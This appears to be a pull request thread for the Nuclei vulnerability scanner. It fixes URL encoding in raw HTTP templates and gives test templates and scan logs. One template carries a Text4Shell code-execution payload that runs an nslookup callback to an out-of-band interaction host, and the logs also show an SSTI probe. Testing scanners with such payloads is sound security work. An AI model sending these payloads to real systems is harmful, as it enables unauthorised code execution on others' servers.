fix url encoding issues and inconsistencies

[tarunKoyalwar]

Proposed changes

• fix url encoding issues and inconsistencies
• now any reserved chars are not encoded by default Insufficient Fix for #2698 #3166
• closes
  • path duplication issue in self-contained template in raw http format #3208
  • issue with template (rawhttp) #3175
  • 2.8.6 decoded automatically #3167
  • Insufficient Fix for #2698 #3166

Checklist

• Pull request is created against the dev branch
• All checks passed (lint, unit/integration/regression tests etc.) with my changes
• I have added tests that prove my fix is effective or that my feature works
• I have added necessary documentation (if appropriate)

[tarunKoyalwar]

Test templates from issues

id: validate-query-encodings

info:
  name: Apache Text4shell
  author: f0ng
  severity: critical

requests:
  - raw:
      - |+
        GET /%20test%0a HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET /text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d HTTP/1.1
        Host: {{Hostname}}

    unsafe: true

id: test

info:
  name: test
  author: test

self-contained: true
requests:
  - raw:
    - |
      GET http://example.com/user HTTP/1.1
      Host: example.com

  - method: GET
    path:
      - "http://example.com/user"

[tarunKoyalwar]

Outputs

$ ./nuclei -t querytest.yaml -v -u https://scanme.sh

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.7

		projectdiscovery.io

[INF] Using Nuclei Engine 2.8.7 (latest)
[INF] Using Nuclei Templates 9.3.4 (latest)
[INF] Templates added in last update: 15
[INF] Templates loaded for scan: 1
[INF] Targets loaded for scan: 1
[VER] [validate-query-encodings] Sent HTTP request to https://scanme.sh/%20test%0a
[INF] Using Interactsh Server: oast.pro
[VER] [validate-query-encodings] Sent HTTP request to https://scanme.sh/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20scanme.sh.443.getparam.cf3fcvdnsevhm0kf0ng01xuym9xkyw8dp.oast.pro')%7d
[INF] No results found. Better luck next time!

$ ./nuclei -t selfcontained.yaml -v

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.7

		projectdiscovery.io

[INF] Using Nuclei Engine 2.8.7 (latest)
[INF] Using Nuclei Templates 9.3.4 (latest)
[INF] Templates added in last update: 15
[INF] Templates loaded for scan: 1
[VER] [test] Sent HTTP request to http://example.com/user
[VER] [test] Sent HTTP request to http://example.com/user
[INF] No results found. Better luck next time!

[Mzack9999]

some minor changes [+ optional manual test with race requests as in the past they were causing issues with dump operations]

[tarunKoyalwar]

@Mzack9999 , did you mean manual test related to Dump in race templates that would cause EOF or issues related to request body ??

echo http://localhost/poc.php | ./nuclei -t race.yaml 

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.7

		projectdiscovery.io

[INF] Using Nuclei Engine 2.8.7 (latest)
[INF] Using Nuclei Templates 9.3.4 (latest)
[INF] Templates added in last update: 15
[INF] Templates loaded for scan: 1
[INF] Targets loaded for scan: 1
[race-condition-testing] [http] [info] http://localhost/poc.php/
[race-condition-testing] [http] [info] http://localhost/poc.php/
[race-condition-testing] [http] [info] http://localhost/poc.php/

Ref: Template taken from https://blog.projectdiscovery.io/exploiting-race-conditons/ . does not seem to have any issues with url or request body

[Mzack9999]

@tarunKoyalwar yeah, body dumping with race requests uses a one-time synchronous gate, so we needed to ensure it works correctly and doesn't freeze the app.

[tarunKoyalwar]

$ echo http://127.0.0.1:8082/email\?text\=important_user | go run . -t ~/gits/fuzzing-templates -id reflection-ssti -v

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.7

		projectdiscovery.io

[INF] Using Nuclei Engine 2.8.7 (latest)
[INF] Using Nuclei Templates 9.3.5 (latest)
[INF] Templates added in last update: 61
[INF] Templates loaded for scan: 1
[INF] Targets loaded for scan: 1
[VER] [reflection-ssti] Sent HTTP request to http://127.0.0.1:8082/email?text=important_user${2635*6813}
[VER] [reflection-ssti] Sent HTTP request to http://127.0.0.1:8082/email?text=important_user{{2635*6813}}
[reflection-ssti] [http] [medium] http://127.0.0.1:8082/email?text=important_user{{2635*6813}}

[tarunKoyalwar]

$ go run .  -u scanme.sh -t ~/test/validateparams.yaml -v

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.7

		projectdiscovery.io

[INF] Using Nuclei Engine 2.8.7 (latest)
[INF] Using Nuclei Templates 9.3.5 (latest)
[INF] Templates added in last update: 61
[INF] Templates loaded for scan: 1
[INF] Targets loaded for scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[VER] [validate-query-encodings] Sent HTTP request to https://scanme.sh/%20test%0a
[INF] Using Interactsh Server: oast.me
[VER] [validate-query-encodings] Sent HTTP request to https://scanme.sh/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20scanme.sh.443.getparam.cf80aolnsevk2cnk0sf0cxc6u1d6n6ecr.oast.me')%7d
[INF] No results found. Better luck next time!